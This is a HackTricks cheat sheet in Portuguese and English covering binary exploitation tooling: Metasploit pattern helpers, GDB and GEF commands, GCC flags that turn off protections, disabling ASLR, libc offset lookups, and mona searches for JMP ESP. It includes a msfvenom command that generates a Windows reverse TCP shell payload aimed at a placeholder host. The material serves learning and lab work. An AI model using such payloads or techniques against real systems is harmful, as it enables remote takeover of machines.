Exploiting Tools

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Instalação

apt-get install gdb

Parâmetros

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Instruções

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

Você poderia opcionalmente usar este fork do GEF que contém instruções mais interessantes.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Truques

Mesmos endereços no GDB

Durante a depuração, o GDB terá endereços ligeiramente diferentes dos utilizados pelo binário quando executado. Você pode fazer com que o GDB tenha os mesmos endereços fazendo o seguinte:

  • unset env LINES

  • unset env COLUMNS

  • set env _=<caminho> Coloque o caminho absoluto para o binário

  • Explorar o binário usando a mesma rota absoluta

  • PWD e OLDPWD devem ser os mesmos ao usar o GDB e ao explorar o binário

Rastrear para encontrar funções chamadas

Quando você tem um binário vinculado estaticamente, todas as funções pertencerão ao binário (e não a bibliotecas externas). Neste caso, será difícil identificar o fluxo que o binário segue para, por exemplo, solicitar a entrada do usuário. Você pode identificar facilmente este fluxo executando o binário com gdb até ser solicitado a inserir dados. Em seguida, pare com CTRL+C e use o comando bt (backtrace) para ver as funções chamadas:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

Servidor GDB

gdbserver --multi 0.0.0.0:23947 (no IDA é necessário preencher o caminho absoluto do executável na máquina Linux e na máquina Windows)

Ghidra

Encontrar o deslocamento da pilha

Ghidra é muito útil para encontrar o deslocamento para uma sobreposição de buffer graças à informação sobre a posição das variáveis locais. Por exemplo, no exemplo abaixo, um fluxo de buffer em local_bc indica que você precisa de um deslocamento de 0xbc. Além disso, se local_10 for um cookie canário, indica que para sobrescrevê-lo a partir de local_bc há um deslocamento de 0xac. Lembre-se de que os primeiros 0x08 onde o RIP é salvo pertencem ao RBP.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Obtenha cada opcode executado no programa.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compilar sem proteções -o --> Saída -g --> Salvar código (GDB poderá visualizá-lo) echo 0 > /proc/sys/kernel/randomize_va_space --> Desativar o ASLR no linux

Para compilar um shellcode: nasm -f elf assembly.asm --> retorna um ".o" ld assembly.o -o shellcodeout --> Executável

Objdump

-d --> Desmontar seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...) -Mintel --> Sintaxe Intel -t --> Tabela de Símbolos -D --> Desmontar tudo (endereço de variável estática) -s -j .dtors --> seção dtors -s -j .got --> seção got -D -s -j .plt --> seção plt descompilada -TR --> Realocações ojdump -t --dynamic-relo ./exec | grep puts --> Endereço de "puts" para modificar em GOT objdump -D ./exec | grep "VAR_NAME" --> Endereço de uma variável estática (armazenadas na seção DATA).

Despejos de núcleo

  1. Execute ulimit -c unlimited antes de iniciar meu programa

  2. Execute sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

  3. sudo gdb --core=<caminho/core> --quiet

Mais

ldd executável | grep libc.so.6 --> Endereço (se ASLR, então isso muda toda vez) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Loop para ver se o endereço muda muito readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Deslocamento de "system" strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Deslocamento de "/bin/sh"

strace executável --> Funções chamadas pelo executável rabin2 -i ejecutable --> Endereço de todas as funções

Depurador de imunidade

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugando em um servidor Linux remoto

Dentro da pasta do IDA, você pode encontrar binários que podem ser usados para debugar um binário dentro de um Linux. Para fazer isso, mova o binário linux_server ou linux_server64 para dentro do servidor Linux e execute-o dentro da pasta que contém o binário:

./linux_server64 -Ppass

Em seguida, configure o depurador: Depurador (remoto linux) --> Opções do processo...:

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated